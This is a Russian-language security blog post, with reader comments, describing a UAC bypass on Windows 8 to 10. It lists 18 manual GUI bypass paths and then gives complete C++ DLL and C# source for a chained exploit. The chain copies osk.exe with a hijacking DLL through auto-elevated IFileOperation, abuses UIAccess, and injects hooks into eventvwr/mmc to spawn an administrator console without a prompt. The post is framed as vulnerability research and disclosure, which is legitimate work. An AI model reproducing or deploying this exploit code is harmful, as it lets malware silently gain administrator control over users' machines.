UAC Bypass или история о трех эскалациях

    На работе я исследую безопасность ОС или программ. Ниже я расскажу об одном из таких исследований, результатом которого стал полнофункциональный эксплоит типа UAC bypass (да-да, с source-code и гифками).


    Ах, да, в Майкрософт сообщили, они сделали вид, что им не интересно.
    Алярм! Под катом около 4 мегабайт трафика – картинок и гифок.

    История


    GUI UAC bypass


    Наверняка существует множество способов найти уязвимость. Один из самых простых — это воспроизведение уже существующей атаки, выбрав другую цель. Так и я решил поставить опыт — через меню выбора файла (для сохранения или открытия) запустить какое-нибудь приложение.


    Гифка показывает, как такая атака выглядела в Windows 98. Атакующий хитрыми манипуляциями вызывает окно открытия файла и через него запускает explorer.

    Сначала проведем простой тест, чтобы посмотреть, что происходит — запускаем блокнот. Выбираем в меню пункт «Открыть», а в появившемся окне переходим в папку C:\Windows\system32\. В окне отображаются только файлы txt и папки. Это легко поправить — достаточно вместо имени файла написать *.* и будут отображены все файлы (в случае блокнота можно проще — выбрать фильтр «Все файлы», но такой фильтр будет доступен не всегда, а звездочки будет работать всегда). Находим notepad.exe и запускаем его через контекстное меню.


    Process Explorer показывает вполне ожидаемую картину:


    Один процесс стартовал другой. Чаще всего при таком наследовании дочерний процесс имеет тот же уровень привилегий, что и родительский. Значит, если мы хотим запустить процесс с высокими привилегиями, то и воспользоваться нужно процессом, у которого уже есть эти привилегии.


    Тут я вспомнил о приложениях с автоматически поднимаемыми привилегиями. Речь идет о программах, у которых в манифесте прописано поднятие привилегий без запроса UAC (элемент autoElevate). Для первого эксперимента я выбрал многострадальный eventwvr.exe (он уже пару раз засветился в обходах UAC).

    Все оказалось очень просто, в меню «Действие» есть пункт «Открыть сохраненный журнал…» — этот пункт выводит окно открытия файла, что мы и хотим получить.


    После запуска мы увидим такую ситуацию:


    Мы запустили консоль с правами администратора без появления окна UAC.

    Такой вид уязвимостей называется UAC bypass (обход запроса UAC). Важно отметить существенное ограничение — автоматическое поднятие прав работает, только если пользователь входит в группу администраторов. Поэтому с помощью такой уязвимости нельзя поднять права с уровня пользователя. Но все же уязвимость довольно опасна — очень много пользователей Windows использует аккаунт администратора для повседневной работы. Вредоносная программа, которую запустит пользователь такого аккаунта, без внешних проявлений получит сначала административные привилегии, а затем, если ей надо, то может получить хоть NT AUTHORITY\SYSTEM. С привилегиями администратора это очень легко.

    На гитхабе есть отличный проект https://github.com/hfiref0x/UACME, где собраны, наверное, все имеющиеся в открытом доступе уязвимости такого рода, причем с указанием с какой версии Windows уязвимость начала работать, и в какой ее поправили, если поправили.

    Я далеко не первый, кто подумал об уязвимости такого плана. Ниже я прикладываю два анимационных изображения, которые наглядно показывают обход UAC еще двумя способами.



    Файлы взяты из статьи msitpros.com/?p=3692.

    Я прошелся по разным приложениям и ниже прикладываю еще 18 способов реализации такого обхода.

    Еще 18 способов ручного обхода UAC
    Внимание! Возможно, в разных версиях и редакциях некоторые приложения не будут иметь автоматическое поднятие привилегий — их список периодически меняется.

    Кроме того, если у вас установлен принтер, то с большой вероятностью в окошках, связанных с печатью, вы найдете много дополнительных способов вызвать окно выбора файла.

    cliconfg.exe
    1) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
    2) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».

    compMgmtLauncher.exe
    3) Меню «Действие», пункт «Экспортировать список…».
    4) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
    5) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».

    dcomcnfg.exe
    6) В списке слева выбрать «Службы (локальные)», в контекстном меню выбрать пункт «Экспортировать список…».

    eudcedit.exe
    7) После старта, программа предложит выбрать код. Выбираем любой и нажимаем ОК; В меню «Файл» выбираем пункт «Связи шрифтов…», в появившемся окне отмечаем «Установить связь с выбранными шрифтами», это разблокирует кнопку «Сохранить как…».

    eventvwr.exe
    8) Меню «Действие», пункт «Открыть сохраненный журнал…».
    9) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
    10) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».

    netplwiz.exe
    11) Выбрать вкладку «Дополнительно», в группе «Дополнительное управление пользователями» нажать кнопку «Дополнительно». Будет запущена оснастка lusrmgr.msc. Меню «Действие», пункт «Экспортировать список…».

    odbcad32.exe
    12) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
    13) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».
    14) Выбрать вкладку «Трассировка», кнопка «Обор…»
    15) Выбрать вкладку «Трассировка», кнопка «Выбор DLL…»

    perfmon.exe
    16) В списке слева выбрать группу «Отчеты», в ней «Особые», в контекстном меню выбрать пункт «Экспортировать список…».
    17) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
    18) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».

    Хоть мы и получили консоль администратора с правами администратора, но назвать это уязвимостью или эксплоитом сложно — нужны осознанные действия пользователя. Чтобы данную уязвимость считать практической, а не теоретической — нужно автоматизировать действия.

    UIPI bypass


    Автоматизация? Да легко! Берем AutoIt и быстро клепаем приложение, которое эмулирует нажатие клавиатуры.

    • WIN-R, eventvwr, ENTER — запустили приложение;
    • ALT-нажали-и-отпустили — фокус на главное меню;
    • Вправо-Вниз-Вниз-ENTER — выбрали нужный пункт в меню;
    • C:\windows\system32 ENTER — перешли в нужную папку;
    • * ENTER — сбросили фильтр;
    • SHIFT-TAB, SHIFT-TAB — окно фокуса на списке файлов;
    • сmd — выбрали файл cmd.exe;
    • App (Кнопка контекстного меню, обычно рядом с правым Ctrl и правыми Alt), вниз, вниз, ENTER — выбираем пункт «Открыть».

    Прямо готовое описание для какой-нить атаки BadUSB-Keyboard типа Teensy или Rubber Ducky. Все отлично, но не работает. Вернее, работает, но не всегда — только если мы запускаем скрипт с правами администратора. Но если мы запускаем скрипт с правами администратора, то какой же это эксплоит?

    Все оказывается довольно просто — Майкрософт использует технологию UIPI (User Interface Privilege Isolation). Если коротко, то многие интерфейсные взаимодействия блокируются, если Integrity Level (IL) инициатора ниже, чем у целевого приложения. Процессы с привилегиями администратора имеют High IL и выше, а приложение, запускаемое пользователем без поднятия привилегий, имеет Medium IL. Нельзя слать большинство сообщений, эмулировать мышь, клавиатуру.

    Как же обойти UIPI? Майкрософт указывает, что есть еще один интересный параметр, который можно указать в манифесте — UIAccess. При выполнении ряда суровых условий приложение получит возможность взаимодействовать с интерфейсом других программ. Собственно, сами условия:

    1. UIAccess=«true» в манифесте.
    2. Программа должна быть подписана и сертификат подписи должен восприниматься компьютером как доверенный.
    3. Программа должна быть расположена в «безопасной» папке или глубже. Под безопасными папками понимаются папка C:\Windows (с некоторыми исключениями), C:\Program Files, C:\Program Files (x86).

    Поиск файлов, которые уже подходят под эти условия, показывает, например, приложение C:\Windows\system32\osk.exe. Это приложение экранной клавиатуры — логично, что оно должно иметь доступ к интерфейсу программ и не требовать прав администратора, поскольку может быть запущено обычным пользователем. Посмотрев в Process Explorer на процесс, становится понятно, как оно работает. При UIAccess=«true» происходит еще одна автоматическая эскалация — поднимается IL приложения. Osk.exe стартует с High IL, но при этом без прав администратора. Довольно интересная ситуация.


    Появляется идея попробовать скопировать Osk.exe куда-то, где он все еще будет считаться расположенным по «безопасному» пути. Тогда мы сможем контролировать это приложение, но все равно выполнять условия для обхода UIPI.

    Я написал простой поисковик по директориям C:\Windows, C:\Program Files, C:\Program Files (x86), который бы искал места, куда можно копировать без прав администратора. На удивление, таких директорий нашлось немало. К сожалению, большая часть из них либо входит в исключения C:\Windows, либо является директориями, куда можно писать, но откуда нельзя запускать приложения. И все равно, нашлось две подходящих папки:

    • C:\Windows\minidump
    • C:\Program Files\Microsoft SQL Server\130\Shared\ErrorDumps

    С одной стороны, это хорошо — есть что проверять, но с другой — все не так радужно.
    Папка minidump появляется, если ОС падала в синий экран смерти. Если синие экраны обошли пользователя стороной, то и директории нет. Более того, в эту директорию изначально доступа нет. Нужно хотя бы один раз в нее зайти администратору и только после этого она становится доступной. В общем не наш вариант.

    А вот вторая папка уже лучше — за исключением того, что она появляется при установке Microsoft Visual Studio (2017 в данном случае, у других студий будут другие числа вместо 130, например 120 у MSVS 2015).

    Копируем osk.exe в папку C:\Program Files\Microsoft SQL Server\130\Shared\ErrorDumps. Смотрим таблицу импорта приложения. Среди библиотек в импорте я выбрал osksupport.dll — это библиотека, экспортирующая всего 2 функции, поэтому можно быстро сделать поддельную.


    Собираем dll и копируем по тому же пути — будет dll-инъекция. Запускаем, проверяем — скопированный osk.exe запускается с High IL, код из dll исполняется.

    Дописываем в dll автоматизацию клавиатурных нажатий (уже не AutoIt, а быстро все перекинутое на плюсовый код keybd_event). Убеждаемся, что все работает. Теперь у нас уже почти готов эксплоит. Надо провести чистый тест.

    Подготавливается виртуальная машина, куда установлена только Visual Studio и пишется простая программа — она копирует osk.exe и библиотеку с полезной нагрузкой. Все отлично работает. Запускаем бинарный файл и спустя мгновение на экране творится магия автоматизации.

    Вот это уже можно назвать эксплоитом — все-таки программа без участия пользователя обходит UAC. Пользователь, конечно, все это видит, но не беда — это мелочи.

    Это была первая версия эксплоита — две эскалации (autoElevate и UIAccess), но пользователь видит, что происходит что-то не то.

    Я отправился перечитывать Windows Internals Руссиновича в тех главах, где упоминается UIAccess и UIPI. Внезапно, русским по белому там было написано, что UIPI предотвращает использование SetWindowsHookEx. Но я как раз обошел UIPI, а значит мог использовать эту функцию — так стало еще лучше! Я смог провести инъекцию кода, вместо отправки клавиатурных нажатий. Вот и вторая версия эксплоита — те же эскалации, но теперь без заметных действий на экране. Почти сразу после запуска эксплоита запускалась привилегированная консоль.

    Directory bypass


    На этом этапе я написал письмо с описанием уязвимости, кодом эксплоита и пошаговым объяснением в Майкрософт. Реакция саппорта немного удивила — они спрашивали: «Получается, что для запуска вашего эксплоита нужны права администратора?». Попытка объяснить, что это не эскалация привилегий с пользователя до администратора, а обход UAC, успехом не увенчалась.

    Последнее, что можно было улучшить — убрать требование директории, доступной на запись. Для начала я решил попробовать старый способ с WUSA.

    Краткое описание копирования файлов с помощью WUSA
    Wusa.exe — еще одно приложение с автоматическим поднятием уровня привилегий. Можно запустить это приложение, указав файл cab-архива и опцией /extract. WUSA распакует файл из архива по указанному пути. Cab-архив можно сделать с помощью стандартной утилиты makecab.

    Сначала я попробовал «распаковать» произвольный файл в C:\windows\system32. Получил ошибку отказа в доступе. Логично, я давно читал, что вроде бы этот способ убрали. Но на всякий случай решил проверить с путем в Program Files. Утилита отработала, файл скопировался. Вот теперь запахло жареным — необходимость папки с правами на запись в Program Files постепенно пропадала.

    Но от способа с WUSA я решил отказаться. В Windows 10 (10147) у приложения убрали опцию /extract. Тем не менее я не унывал. На примере WUSA я понял, что не всегда защита C:\Windows означает защиту C:\Program Files. Кроме WUSA был еще способ копировать файлы без запроса UAC — интерфейс IFileOperation.

    IFileOperation
    Процесс с Medium IL и запущенный из безопасного места (примерно те же, что и в UIAccess), может использовать интерфейс IFileOperation с автоматическим повышением прав.

    Дальше было несложно. Я написал код, использующий этот метод (вот она, третья автоматическая эскалация), и он отлично отработал. Для надежности я взял чистую виртуальную машину с максимальным количеством установленных обновлений последней версии Windows 10 (RS2, 15063). Это было особенно важно, поскольку RS2 как раз исправлял часть обходов UAC. И вся моя цепочка прекрасно отработала на этой версии. Это и есть третья версия эксплоита, с 3 эскалациями, без каких-либо специальных требований.

    Техническое описание


    Работоспособность эксплоита тестировалась на Windows 8, Windows 8.1 и Windows 10 (RS2, 15063) — техника работает. С вероятностью в 99% будет работать и в младших версиях, начиная с Windows Vista, но потребуются правки (другое имя и таблица экспорта для dll на 2 и 3 шагах). Настройки UAC должны быть выставлены по-умолчанию, и пользователь, от которого происходит запуск инициирующей программы, должен входить в группу администраторов ПК.

    Шаг 1. Программа запускается без запроса предоставления привилегий. IL программы Medium, что позволяет сделать инъекцию кода в процесс explorer.exe (например, через SetWindowsHookEx).

    Шаг 2. Код, работающий в контексте explorer.exe, инициирует файловую операцию копирования через IFileOperation. Происходит первая автоматическая эскалация привилегий — explorer.exe считается доверенным процессом, поэтому ему позволяется копировать файлы в Program Files без запроса подтверждения UAC. В любую папку в Program Files копируется системный файл osk.exe, изначально расположенный C:\Windows\system32\osk.exe. Рядом копируется библиотека с полезной нагрузкой под именем osksupport.dll.

    Шаг 3. Запускается только что скопированный osk.exe. Поскольку выполняются все требования для предоставления UIAccess, то файл имеет High IL — происходит вторая автоматическая эскалация привилегий (поднят только IL, но прав администратора все еще нет). Сразу после старта срабатывается Dll-инъекция и в контексте данного процесса исполняется код из osksupport.dll. Полезная нагрузка этой библиотеки ожидает старта привилегированного процесса, чтобы провести инъекцию кода в него.

    Шаг 4. Запускается любой процесс, который автоматически поднимается в правах до администратора (например, многострадальный eventvwr.exe, это третья эскалация). В него происходит инъекция кода. В данный момент код будет исполняться с привилегиями администратора.

    Proof of Concept


    PoC состоит из двух частей — dll (написана на c++) и exe (написан на c#). Сначала необходимо собрать dll и подключить эту библиотеку как ресурс для кода приложения. Обязательно обратите внимание на комментарии в коде.

    DLL
    #include <stdio.h>
    #include <Shobjidl.h>
    #include <windows.h>
    
    #pragma comment(lib, "Ole32.lib")
    #pragma comment(lib, "shell32.lib")
    
    void WINAPI InitializeOSKSupport() {};			// this function must be exported!
    void WINAPI UninitializeOSKSupport() {};		// this function must be exported!
    int WINAPI hook(int code, WPARAM wParam, LPARAM lParam) { return (CallNextHookEx(NULL, code, wParam, lParam)); };
    
    HINSTANCE hinstance;
    
    void CopyFile(LPCWSTR pszSrcItem, LPCWSTR pszNewName, LPCWSTR pszDest)
    {
    	IFileOperation  *pfo;
    	IShellItem      *psiFrom = NULL;
    	IShellItem      *psiTo = NULL;	
    
    	HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    	if (SUCCEEDED(hr))
    	{
    		OutputDebugString(L"[OSK_DLL_PWN] CoInitializeEx");
    		hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
    		if (SUCCEEDED(hr))
    		{
    			OutputDebugString(L"[OSK_DLL_PWN] CoCreateInstance");
    			hr = pfo->SetOperationFlags(FOF_NOCONFIRMATION |
    				FOF_SILENT |
    				FOFX_SHOWELEVATIONPROMPT |
    				FOFX_NOCOPYHOOKS |
    				FOFX_REQUIREELEVATION |
    				FOF_NOERRORUI);
    			if (SUCCEEDED(hr))
    			{
    				OutputDebugString(L"[OSK_DLL_PWN] SetOperationFlags");
    				hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
    				if (SUCCEEDED(hr))
    				{
    					OutputDebugString(L"[OSK_DLL_PWN] SHCreateItemFromParsingName");
    					if (NULL != pszDest)
    					{
    						hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
    					}
    					if (SUCCEEDED(hr))
    					{
    						OutputDebugString(L"[OSK_DLL_PWN] SHCreateItemFromParsingName 2");
    						hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
    					}
    				}
    				if (SUCCEEDED(hr))
    				{
    					hr = pfo->PerformOperations();
    					WCHAR buff[100] = { 0 };
    					wsprintf(buff, L"[OSK_DLL_PWN] PerformOperations = %d %.8x", hr, hr);
    					OutputDebugString(buff);
    				}
    			}
    			pfo->Release();
    		}
    		CoUninitialize();
    	}
    }
    
    DWORD WINAPI explorerThread(LPVOID)
    {	
    	CopyFile(L"C:\\windows\\system32\\osk.exe", L"osk.exe", L"C:\\Program Files\\Windows Media Player");
    	WCHAR pathDll[1000] = { 0 };
    	GetModuleFileName(hinstance, pathDll, 1000);
    	OutputDebugString(pathDll);
    	CopyFile(pathDll, L"osksupport.dll", L"C:\\Program Files\\Windows Media Player");
    	return 0;
    }
    
    void Payload()
    {
    	OutputDebugString(L"[OSK_DLL_PWN] Payload!");
    	WCHAR pathApp[1000] = { 0 };
    	GetModuleFileName(NULL, pathApp, 1000);
    	OutputDebugString(pathApp);
    	wcsupr(pathApp);
    	if (wcsstr(pathApp, L"OSK.EXE"))
    	{
    		OutputDebugString(L"[OSK_DLL_PWN] Inside osk.exe");
    		HOOKPROC addr = (HOOKPROC)GetProcAddress(hinstance, "hook");
    		SetWindowsHookEx(WH_CALLWNDPROC, addr, hinstance, 0);
    		Sleep(5000);
    		TerminateProcess(GetCurrentProcess(), 0);
    	}
    	if (wcsstr(pathApp, L"UACBYPASS.EXE"))					// here must be name of exe-part
    	{
    		OutputDebugString(L"[OSK_DLL_PWN] Inside uacbypass.exe");
    		HOOKPROC addr = (HOOKPROC)GetProcAddress(hinstance, "hook");
    		SetWindowsHookEx(WH_CALLWNDPROC, addr, hinstance, 0);		
    	}
    	if (wcsstr(pathApp, L"MMC.EXE"))
    	{
    		OutputDebugString(L"[OSK_DLL_PWN] Inside mmc.exe");
    		STARTUPINFO si;
    		PROCESS_INFORMATION pi;
    		ZeroMemory(&si, sizeof(si));
    		si.cb = sizeof(si);
    		ZeroMemory(&pi, sizeof(pi));
    		WCHAR path[100] = L"C:\\windows\\system32\\cmd.exe";
    		if (!CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
    		{
    			OutputDebugString(L"[OSK_DLL_PWN] Spawn cmd failed");
    		}
    		TerminateProcess(GetCurrentProcess(), 0);
    	}
    	if (wcsstr(pathApp, L"EXPLORER.EXE"))
    	{
    		OutputDebugString(L"[OSK_DLL_PWN] Inside explorer.exe");
    		DWORD dw= 0;
    		CreateThread(NULL, NULL, explorerThread, NULL, 0, &dw);
    	}
    }
    
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		hinstance = hModule;
    		Payload();
    		break;
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    


    EXE
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Runtime.InteropServices;
    using System.Threading;
    using UACBypass.Properties;
    
    namespace UACBypass
    {
        class Program
        {
            static void Main(string[] args)
            {
                Console.WriteLine("Extract payload-dll");
                File.WriteAllBytes("Payload.dll", Resources.oskDllPwn);	// dll resource here
    
                Console.WriteLine("Exec payload-dll");
                LoadLibrary("Payload.dll");
    
                Console.WriteLine("Wait for apply 5s...");
                Thread.Sleep(5000);
                
                Console.WriteLine("Start elevator");
                Process.Start("C:\\Program Files\\Windows Media Player\\osk.exe");
                Thread.Sleep(500);
    
                Console.WriteLine("Start target app");
                Process.Start(@"C:\Windows\system32\eventvwr.exe");
            }
    
            [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
            static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
        }
    }
    


    Готовый к эксплуатации бинарный файл не выкладывается осознанно. Не менее осознанно исходные коды не выкладываются на гитхаб.

    Я бы хотел обратить особое внимание читателей, на тот факт, что эта статья описывает не уязвимость в каких-то приложениях. Osk.exe и eventvwr.exe здесь только для примера, я мог бы взять другую пару из примерно 150 вариантов (5 вариантов для osk × 30 вариантов для eventvwr). Мне кажется, что сам механизм поднятия привилегий и UAC «поломатые». А что думаете вы?

    Другие статьи блога


    Отчёт Центра мониторинга информационной безопасности за I квартал 2017 года
    Мои крутые коллеги в реальном времени следят за атаками и сразу же их предотвращают.
    Жизнь без SDL. Зима 2017
    Пока разработчики повсеместно не используют SDL у меня всегда будет работа.
    Поделиться публикацией
    Похожие публикации
    Комментарии 15
    • +2
      Мне кажется, что сам механизм поднятия привилегий и UAC «поломатые». А что думаете вы?

      Я думаю, что они попросту не нужны в плане защиты от повышения привилегий с уровня Normal Integrity да High Integrity. Этот барьер ни в чём не ограничивает пользователя (поскольку пользователь с правами админа может просто нажать «Разрешить» для поднятия привелегий) и он мало в чём ограничивает всякие эксплоиты и вирусы (Normal Integrity вполне достаточно для всяких там спам-ботов, криптовымогателей и т.д.). Вот защита уровня Low Integrity или Untrusted Integrity (применяемая, например, в браузерах) — да, серьёзная штука, поскольку не даёт доступа к файловой системе и всяким разделяемым объектам в памяти. И её Вашим способом не обойти.
      • +1
        Согласен, что защита в виде использования Low IL или Untrusted IL будет работать хорошо. У Майкрософта есть на msdn даже статья о том, как проектировать приложения, которым будет достаточно такого IL.
        Но, видимо, из-за большого легаси и обратной совместимости нельзя просто так взять и все запустить на таких низких уровнях.
      • +1
        По поводу реакции со стороны Microsoft: насколько я помню, они изначально обозначили некоторые фичи (UAC или, например, AppLocker) как «не относящиеся к безопасности напрямую» и поэтому обычно отвечают на подобные репорты, что никакого байпасса нет, поскольку это всего лишь защита от дурака. Хотя потом иногда все же фиксят.
        • +1
          Примерно так это и выглядит. И ответ Майкрософта был похож на то, что вы написали.
          Но ситуация довольно странная — говорить, что не уязвимость и патчить в security-обновлениях. Лично мне такой подход не нравится.
          • +2
            А это чтобы денег за баги не платить :)
        • +1
          Правильно ли я понял, что практический сценарий использования приведенных выше методов может быть следующим:
          Злоумышленник изготавливает эксплоит -> доставляет его на компьютер жертвы -> обеспечивает его запуск -> если жертва в группе администраторов, получает возможность полного контроля над операционкой и приложениями.
          • +1
            В общих чертах все так и есть.
            • +1
              Отличная работа!
              Запрет в политиках безопасности запуска всех приложений кроме определённых директорий дополняет UAC?
              • 0
                Теоретически да. Но это слишком кропотливая работа — некоторые директории оказываются доступными на запись очень неожиданно.
                Если знаете вариант, как это дело автоматизировать, было бы хорошо узнать.
                • +1
                  Автоматизацию App White Listing хорошо делает Peter Gubarevich
                  https://blog.windowsnt.lv/
                  Не могу найти ссылку на вебинар от начала февраля 2017, весьма полезно.
          • +3
            А режим UAC «Always notify» не помогает? Ну то есть я понимаю, что если уже есть elevated-процесс, то там никаких подтверждений не будет, но этот процесс же ещё надо запустить, и в случае с «Always notify» оно без подтверждения не запускается.

            P.S. Я знаю что по умолчанию он не такой, и это большой недостаток =)
            • +1
              Да, Always notify поможет. Но, по-умолчанию, у пользователей в группе Администраторы уровень UAC на одно деление ниже (Only notify me when programs try to make changes to my computer).
              • 0
                Да уже ЭКСПЛОИТ всех эксплоитов:
                «пользователь, от которого происходит запуск инициирующей программы, должен входить в группу администраторов ПК.» и Вы хотите сказать что Майкрософт не правы с вопросом «Получается, что для запуска вашего эксплоита нужны права администратора?»
                • 0
                  Я понимаю ваше недовольство — эксплоит с полноценным поднятием привилегий был бы сильно интереснее.
                  Я отвечу вам тоже самое, что отвечал и в Майкрософт.
                  1) MITRE считает UAC Bypass уязвимостью:
                  https://attack.mitre.org/wiki/Privilege_Escalation
                  https://attack.mitre.org/wiki/Technique/T1088
                  2) Запуск «от имени администратора» и «с правами администратора» это два серьезно разных понятия (русскоязычный перевод Windows в этом вопросе плох, потому, что они называют первым то, что является вторым). Если говорить более корректно, то для работы эксплоита не требуется elevated start, а если бы он требовался, то я даже не пытался назвать это эксплоитом.
                  Позиция Майкрософта в этом вопросе обуславливается тем, что злонамеренный администратор может натворить более страшные вещи. Я вижу разницу между злонамеренным администратором и обычным пользователем, сидящим под аккаунтом администратора и запустившего рандомный файлик из интернета. Мой эксплоит стирает эту разницу.
                  3) Сейчас можно закидать меня помидорами за то, что я привожу пример, который основывается на большом количестве допущений, но в жизни встречаются ситуации и похуже.
                  Есть Windows 8.1 с двумя пользователями (это и логически два аккаунта и физически два человека — администратор и пользователь). На компьютере установлен Python (Папка C:\Python27 добавлена в PATH).
                  Воспользовавшись уязвимостью fsquirt, обычный пользователь может спровоцировать запуск файла от имени пользователя-администратора. Но без обхода UAC смысла в этом мало.

                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                Самое читаемое